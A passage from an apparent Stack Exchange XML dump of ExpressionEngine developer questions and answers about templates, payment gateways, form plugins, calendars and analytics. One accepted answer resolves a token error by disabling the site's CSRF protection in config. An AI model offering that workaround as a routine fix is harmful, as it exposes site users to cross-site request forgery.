ee()-&amp;gt;functions-&amp;gt;create_url('/', FALSE);&#xA;                header(&quot;Location: &quot;. $path);&#xA;                exit;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the job. :)&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-05-13T16:56:49.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21916" PostTypeId="1" AcceptedAnswerId="21918" CreationDate="2014-05-13T17:03:24.407" Score="1" ViewCount="74" Body="&lt;p&gt;Is there a way with the current Stripe integration with Expresso cart to create a Customer and Card and on the Stripe side when an order is authorized?  If this does not exist in existing functionality in the Expresso cart does anyone have any code to do this?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-05-13T17:29:11.860" Title="create customer in stripe with expresso cart when order is authorized" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21917" PostTypeId="1" AcceptedAnswerId="22013" CreationDate="2014-05-13T17:14:38.623" Score="1" ViewCount="228" Body="&lt;p&gt;I have a grid field like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File - Text field - Relationship field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the file is a document, the text field is the title and the relationship field is the argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to output the list of files like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Argument 1&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File 1&lt;/li&gt;&#xA;&lt;li&gt;File 2&lt;/li&gt;&#xA;&lt;li&gt;File 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Argument 2&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File 4&lt;/li&gt;&#xA;&lt;li&gt;File 5&lt;/li&gt;&#xA;&lt;li&gt;File 6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And so on, therefore grouped by the relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid}&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{grid:file}&quot;&amp;gt; {grid:text_field} &amp;lt;/a&amp;gt; - {grid:relationship}{grid:relationship:title}{/grid:relationship}&amp;lt;/li&amp;gt;&#xA;&#xA;{/grid}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That shows me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File 1 - Argument 1&lt;/li&gt;&#xA;&lt;li&gt;File 2 - Argument 1&lt;/li&gt;&#xA;&lt;li&gt;File 3 - Argument 1&lt;/li&gt;&#xA;&lt;li&gt;File 4 - Argument 2&lt;/li&gt;&#xA;&lt;li&gt;File 5 - Argument 2&lt;/li&gt;&#xA;&lt;li&gt;File 6 - Argument 2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I output the items by grouping them by argument? It means that the relationship field must shows only one time per type, and create a list for every type.&lt;/p&gt;&#xA;" OwnerUserId="2684" LastEditorUserId="2684" LastEditDate="2014-05-15T16:50:08.440" LastActivityDate="2014-07-30T20:07:42.273" Title="Group Grid entries by custom field" Tags="|matrix|playa|relationships|grid|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21918" PostTypeId="2" ParentId="21916" CreationDate="2014-05-13T17:29:11.860" Score="1" Body="&lt;p&gt;Currently the Stripe payment gateway for Store does not do this. I don't imagine it would be that difficult though if you are comfortable with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I'd suggest you make a copy of the Stripe gateway, rather than modify the original. Make sure it has a new name, which will involve renaming files, classes and directories, so that it comes up as a separate gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you'll need to reference the Stripe PHP documentation to alter the process, so a customer is created and charged, rather than just a charge being created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not comfortable with PHP, I'd suggest you get someone to do this for you, as it's a bit sticky to be mucking around with ecommerce functionality when you don't know what's going on. :)&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-13T17:29:11.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21919" PostTypeId="2" ParentId="21796" CreationDate="2014-05-13T18:05:12.097" Score="1" Body="&lt;p&gt;Here was the final solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:playa:children field=&quot;3rd_order_under&quot; sort=&quot;asc&quot; var_prefix=&quot;thirdorder&quot;}&#xA;     &amp;lt;li {if '{thirdorder:count}' == '1'}class=&quot;active&quot;{/if} id=&quot;pillTab{thirdorder:url_title}Tab&quot;&amp;gt;&#xA;       &amp;lt;div class=&quot;row&quot;&amp;gt;                                     &#xA;         &amp;lt;div class=&quot;twelve columns&quot;&amp;gt; &#xA;           {thirdorder:summary_3rd_order}&amp;lt;br /&amp;gt;&#xA;&#xA;           {thirdorder:exp:playa:children field=&quot;4th_order_under_3rd_order&quot; sort=&quot;asc&quot; var_prefix=&quot;fourthorder&quot; backspace=&quot;2&quot;}&#xA;             {fourthorder:title}, {/thirdorder:exp:playa:children}&#xA;&#xA;         &amp;lt;/div&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/li&amp;gt;&#xA;    {/exp:playa:children}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-05-13T18:05:12.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21920" PostTypeId="1" CreationDate="2014-05-13T19:49:07.330" Score="1" ViewCount="81" Body="&lt;p&gt;EE 2.8.1, non-required file fields when trying to publish a channel entry all trigger the below error if they are left empty.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The uploaded file exceeds the maximum allowed size in your PHP configuration file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has anyone else come across this or had a fix? I haven't found anything but my Google-fu could be weak.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-06-12T20:41:40.670" Title="EE Empty File Field Triggers - The uploaded file exceeds the maximum allowed size in your PHP configuration file" Tags="|channel-entries|file-uploads|channel-files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21921" PostTypeId="1" AcceptedAnswerId="21925" CreationDate="2014-05-13T19:54:02.973" Score="1" ViewCount="1259" Body="&lt;p&gt;I just made a fresh EE install on one of my clients shared server,and after setting up permissions etc when I try to access admin.php file I get this error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;The page you requested was not found.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to debug it,is it some thing to do with server or is it a EE bug??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2014-07-25T16:49:00.893" Title="EE error &quot;The page you requested was not found.&quot;" Tags="|ee2|control-panel|admin.php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21922" PostTypeId="2" ParentId="21920" CreationDate="2014-05-13T20:02:41.820" Score="1" Body="&lt;p&gt;This was due to me having the php post_max_size set to -1 (unlimited) on my local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file manager should probably handle this, but it doesn't so I've amended Filemanager.php to the below, which fixes it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function validate_post_data()&#xA;{&#xA;    ee()-&amp;gt;load-&amp;gt;helper('number_helper');&#xA;    $post_limit = get_bytes(ini_get('post_max_size'));&#xA;&#xA;    # If the post limit is -1 (i.e. unlimited) return true as we &#xA;    # can't exceed the upload size&#xA;    if ($post_limit == -1) {&#xA;        return true;&#xA;    }&#xA;&#xA;    return $_SERVER['CONTENT_LENGTH'] &amp;lt;= $post_limit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-05-13T20:02:41.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21923" PostTypeId="1" CreationDate="2014-05-13T20:23:21.830" Score="0" ViewCount="240" Body="&lt;p&gt;I have a site I moved from one server to another and everything looks good but when I try and edit an entry the changes are accepted and saved, but when I view the front/public page the changes/edits are not being shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go back and look at the entry, the changes are still saved, just not on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an EE 1.7.3 site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my config file and the database settings are correct.  How could the changes be saved on the back end but not the front end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely I can add a new entry or delete an entry, just not make an edit&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2015-04-10T12:59:50.040" Title="Changes /edits not reflected on live site but can publish new or delete" Tags="|channel-entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21924" PostTypeId="2" ParentId="21923" CreationDate="2014-05-13T20:28:46.587" Score="0" Body="&lt;p&gt;Do you have any template or entry caching going on?  Or third party caching at the server level? Can you verify that what's showing on the front end is in fact the entry you think it is by exposing but commenting out the entry id in the template?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-05-13T20:28:46.587" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21925" PostTypeId="2" ParentId="21921" CreationDate="2014-05-13T20:39:00.840" Score="2" Body="&lt;p&gt;Could be a .htaccess configuration problem or verify the  path or you admin.php  &lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-05-13T20:39:00.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21926" PostTypeId="2" ParentId="21797" CreationDate="2014-05-13T21:38:34.687" Score="1" Body="&lt;p&gt;Easy answer and fix: upgrade to Channel Images 5.4.17. &lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-05-13T21:38:34.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21927" PostTypeId="2" ParentId="21641" CreationDate="2014-05-13T21:49:42.643" Score="1" Body="&lt;p&gt;One solution would be to use MoVariables : &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check a conditional against pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is probably a better way to do this, but this should work.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2014-05-13T21:49:42.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21928" PostTypeId="2" ParentId="21641" CreationDate="2014-05-13T23:07:32.083" Score="1" Body="&lt;p&gt;The default EECMS conditionals can't check against RegEx, so your simplest solution is to use &lt;a href=&quot;https://github.com/croxton/Switchee/&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_1}/{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;#^media/P\d+$#|media/media-view|media/&quot;}&#xA;        {!-- for this case, we show nothing --}&#xA;    {/case}&#xA;&#xA;    {case value=&quot;media/{segment_2}&quot;}&#xA;        &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/media&quot;&amp;gt;Media&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To avoid complex and hard to debug RegEx, I created one first case to exclude all three situations you need to, separated by &lt;code&gt;|&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;segment_1 == media&lt;/code&gt; and &lt;code&gt;segment_2&lt;/code&gt; as pagination: &lt;code&gt;^media/P\d+$&lt;/code&gt;, where&lt;code&gt;#&lt;/code&gt; delimits a RegEx;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;segment_1 == media&lt;/code&gt; and &lt;code&gt;segment_2 == 'media-view'&lt;/code&gt;: &lt;code&gt;media/media-view&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;segment_1 == media&lt;/code&gt; and &lt;code&gt;segment_2&lt;/code&gt; empty: &lt;code&gt;media/&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the first case doesn't match, then the second will be tested.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-13T23:07:32.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21929" PostTypeId="2" ParentId="15491" CreationDate="2014-05-13T23:12:53.173" Score="10" Body="&lt;p&gt;Long time to add to this but...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{relationship-field}&#xA;  do relationship stuff&#xA;  {if relationship-field:no_results}&#xA;    Empty stuuf&#xA;  {/if}&#xA;{/relationship-field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2014-05-13T23:12:53.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21930" PostTypeId="2" ParentId="21885" CreationDate="2014-05-13T23:17:41.127" Score="1" Body="&lt;p&gt;Snippets parse first, so your Stash tag &lt;code&gt;{exp:stash:update_ids}&lt;/code&gt; gets read directly as it's written without being parse when that snippet code gets parsed. You can test that by only putting &lt;code&gt;{exp:stash:update_ids}&lt;/code&gt; in your snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible solution: Move that snippet code either into a Stash embed or regular EE embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the limit parameter is just &lt;code&gt;limit=&quot;10&quot;&lt;/code&gt; not &lt;code&gt;limits=&quot;10&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-13T23:17:41.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21931" PostTypeId="1" AcceptedAnswerId="21953" CreationDate="2014-05-14T00:22:44.930" Score="0" ViewCount="78" Body="&lt;p&gt;If I set include_jquery=&quot;no&quot; parameter I still appear to be getting JS code injected into my page as one of my fields is a date field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not including it is throwing two JS errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery not defined and $ not defined.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I include jQuery the errors go away but then the date field throws a weird value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-05-22un22efine22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If I have a field that EE recognizes as requiring a jQuery UI element will it always throw in the JS? Is there a way to override this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I do include jQuery how do I fix the weird date value?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-28T05:08:31.160" Title="Channel Form : JS issue with date field" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21932" PostTypeId="2" ParentId="9945" CreationDate="2014-05-14T01:44:22.567" Score="1" Body="&lt;p&gt;Ian's suggestion worked great for me. Here was my working code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{thirdorder:static_map_3rd_order}'} &#xA;    &amp;lt;img src=&quot;{thirdorder:static_map_3rd_order}&quot; alt=&quot;{thirdorder:title}&quot; style=&quot;padding:10px;&quot; width=&quot;100%&quot;/&amp;gt;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="150" LastEditDate="2014-05-14T04:25:54.833" LastActivityDate="2014-05-14T04:25:54.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21934" PostTypeId="1" CreationDate="2014-05-14T07:29:41.930" Score="1" ViewCount="107" Body="&lt;p&gt;I am using Solspace Calendar for managing events. Unfortunately it is behaving weird with dates. When I want to list the events for a particular month, it starts from one or two dates of the previous month or ends at one or two dates from the next month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also checked the generated SQL query which clearly shows that the start date is from the previous month rather than first day of the current month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot;}&#xA;    {display_each_year}&#xA;        {display_each_day}&#xA;            {events}&#xA;            &amp;lt;!-- List of entries here --&amp;gt;&#xA;            {/events}&#xA;        {/display_each_day}&#xA;    {/display_each_year}&#xA;{/exp:calendar:cal}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3101" LastActivityDate="2014-06-13T07:50:59.887" Title="Solspace Calendar showing previous entries for current month" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21935" PostTypeId="2" ParentId="21934" CreationDate="2014-05-14T07:40:10.450" Score="1" Body="&lt;p&gt;This is a &lt;em&gt;very&lt;/em&gt; common question (and likely already answered somewhere on this site in another thread):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add the &lt;strong&gt;&lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;&lt;/strong&gt; parameter. A more detailed explanation of why can be found here: &lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/#pad_short_weeks&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/calendar/calendar/#pad_short_weeks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar&quot; rel=&quot;nofollow noreferrer&quot;&gt;Calendar documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You'll likely need to have this parameter set to &lt;strong&gt;n&lt;/strong&gt; in the event you're&#xA;  trying to display anything other than a typical calendar display. When&#xA;  set to &lt;strong&gt;n&lt;/strong&gt;, weeks won't be &quot;padded&quot; to the nearest first day of the week&#xA;  and last day of the week, as Calendar does this by default for the&#xA;  sake of properly outputting and formatting a calendar.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So for example, using the &lt;code&gt;date_range_start&lt;/code&gt; and &lt;code&gt;date_range_end&lt;/code&gt;&#xA;  parameters, if your code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&quot;2011-10-19&quot; date_range_end=&quot;2011-10-21&quot;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;With &lt;code&gt;pad_short_weeks&lt;/code&gt; parameter NOT specified, Calendar will automatically&#xA;  display the entire week range (&lt;strong&gt;2011-10-16 - 2011-10-22&lt;/strong&gt;). With&#xA;  &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;, Calendar will just display the selected range&#xA;  (&lt;strong&gt;2011-10-19 - 2011-10-21&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bV6EQ.gif&quot; alt=&quot;The effect of pad_short_week=&amp;quot;n&amp;quot; in Calendar&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-14T07:40:10.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21937" PostTypeId="1" AcceptedAnswerId="21945" CreationDate="2014-05-14T08:41:28.037" Score="1" ViewCount="1406" Body="&lt;p&gt;I'm trying to set the User-ID for Google's new Universal Analytics, but it keeps erring saying &quot; SyntaxError: Unexpected token '{' &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){&#xA;(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),&#xA;m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)&#xA;})(window,document,'script','//www.google-analytics.com/analytics.js','ga');&#xA;&#xA;ga('create', 'UA-XXXXXXXX-X', 'auto');&#xA;{if logged_in}&#xA;ga('set', '&amp;amp;uid', {{{member_id}}});&#xA;{/if}&#xA;ga('send', 'pageview');&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried this with $env_config['protect_javascript'] = 'y' and $env_config['protect_javascript'] = 'n';.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-13T11:58:07.943" Title="Setting User ID for Google Universal Analytics" Tags="|members|javascript|analytics|google-analytics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21938" PostTypeId="2" ParentId="21599" CreationDate="2014-05-14T08:55:09.433" Score="6" Body="&lt;p&gt;Big thanks to Joel Bradbury for solving this one. I needed to add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to my config. Here's why:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It'll be because the tokens have been generated on a different base domain, and then it's moved and gotten stuck. Normally they're regenerated when they're detected as expired, but if it see's them as not expired, but invalid it can get confused. The hashes are kept in exp_security_hashes, just emptying that table will do it too.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="181" LastActivityDate="2014-05-14T08:55:09.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21939" PostTypeId="1" CreationDate="2014-05-14T08:56:17.603" Score="0" ViewCount="271" Body="&lt;p&gt;I am setting up a form using FreeForm.  I would like user-submitted entries to be sent as a Channel Entry.  Is this possible?  I know that I can use the {exp:channel:form} tag to set this up, but I'd prefer having the backend features of Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw nothing about this in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's a short demonstration on how I want this to work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform form &gt; User submits form &gt; Form is uploaded as a Channel Entry and marked as &quot;Unpublished&quot; &gt; Admin changes status of channel entry and the entry is live on site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible?  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1411" LastEditorUserId="55" LastEditDate="2014-05-14T15:19:22.230" LastActivityDate="2015-03-11T13:44:32.903" Title="Insert Freeform entries to Channel Entries" Tags="|channel-entries|solspace-freeform|channel-form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21940" PostTypeId="1" CreationDate="2014-05-14T09:15:12.577" Score="2" ViewCount="58" Body="&lt;p&gt;We have an upcoming project coming up which will have two sides, let's call one the marketing site, and the other is an app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is the marketing site will sell access to the app, so the user will sign up through the marketing site to have access to the app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically we need to be able to share members and only the members between both sites. Is MSM suitable for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, it could be done through a single site but I don't want to be mixing up the channels and other data between the marketing site and the app.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastEditorUserId="159" LastEditDate="2014-05-14T10:42:20.217" LastActivityDate="2014-06-13T10:58:07.220" Title="Share members between two sites - MSM?" Tags="|members|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21942" PostTypeId="2" ParentId="7399" CreationDate="2014-05-14T10:01:25.937" Score="0" Body="&lt;p&gt;I need to leave member activation by email enabled for a certain member group but bypass it and auto-login the user for others after registration, is there some way to do this either by passing the registered member ID to the subsequent page where a 'log-in' plug can be used (dangerous!) or by performing the log-in by means of an extension which fires after registration in Freemember is complete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I saw the idea of 'disabling' require member account activation' elsewhere by setting the variable before the register process starts but I don't recall exactly where this was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-05-14T10:01:25.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21943" PostTypeId="1" CreationDate="2014-05-14T10:06:29.170" Score="0" ViewCount="81" Body="&lt;p&gt;I have a basic comment form with name, email and comment.&#xA;Comments can be submitted by guests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a guest leaves all fields blank and submit the form, EE only throws one error, which is “the comment field is required”&#xA;Then if the guest fills in the comment field and submit, EE throws the other two errors together, which are:&#xA;“the name field is required”&#xA;“the email field is required”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to read via ajax all 3 errors listed together, is there a way to do that?&#xA;Any idea?&#xA;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="3037" LastActivityDate="2016-05-21T17:00:44.240" Title="comment form errors" Tags="|error|comment-form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21944" PostTypeId="2" ParentId="21940" CreationDate="2014-05-14T10:48:49.187" Score="1" Body="&lt;p&gt;You can certainly share members between different sites when using Multisite Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mention that this could be done with a single site and, to be honest, that's precisely how I would approach it (unless the sites needed to be served under different domains). I don't understand what you mean when you say &quot;mixing channels and other data&quot; and why this would present a problem.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-14T10:48:49.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21945" PostTypeId="2" ParentId="21937" CreationDate="2014-05-14T10:50:42.550" Score="2" Body="&lt;p&gt;Why do you have 3 sets of parenthesis around the member_id tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it work if you simply use {member_id}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; (after comments)&#xA;I'm not completely sure how this should be set up as I've never used this (will need to get up to speed on it though) but based on what I see in the docs does this work; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    ga('create', 'UA-XXXX-Y', { 'userId': '{member_id}' })&#xA;{if:else}&#xA;    ga('create', 'UA-XXXXXXXX-X', 'auto');&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why the docs show UA-XXXX-Y for the user ID section.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-14T11:52:17.933" LastActivityDate="2014-05-14T11:52:17.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21946" PostTypeId="1" AcceptedAnswerId="21952" CreationDate="2014-05-14T11:34:29.540" Score="0" ViewCount="878" Body="&lt;p&gt;I have a pretty basic Freeform contact form set up (fields are: first_name, last_name, email, user_message). The form is set so that, when submitted, the admin receives an email to alert him/her to the fact that there is a new message, the user receives an email as confirmation of their submission, and the user is redirected to the thank you page (which recaps their message for them). The redirect and the admin notification are both working perfectly, but for some reason the User Notification is not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a user notification template set up, I have user notification enabled in the CP, and the 'email' field is set as the delivery address. These settings are made in the CP but I also tried adding them into the form explicitly as parameters -- still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that I do have a sender address correctly set in EE's email preferences (that tripped me up on a previous occasion when I was unable to receive admin notifications -- they were getting stopped as suspicious and spammy because the sender's address was blank). Also, the user emails are not showing up in the spam traps (either at server level or locally)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have any ideas why admin notification emails would go out/be received whilst user notifications won't? And where can I check, eg. logs, to see if the email is actually being transmitted by EE (in which case it will presumably be a mail server problem)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing: I'm testing this on MAMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-05-14T14:38:39.240" Title="Freeform user notifications not 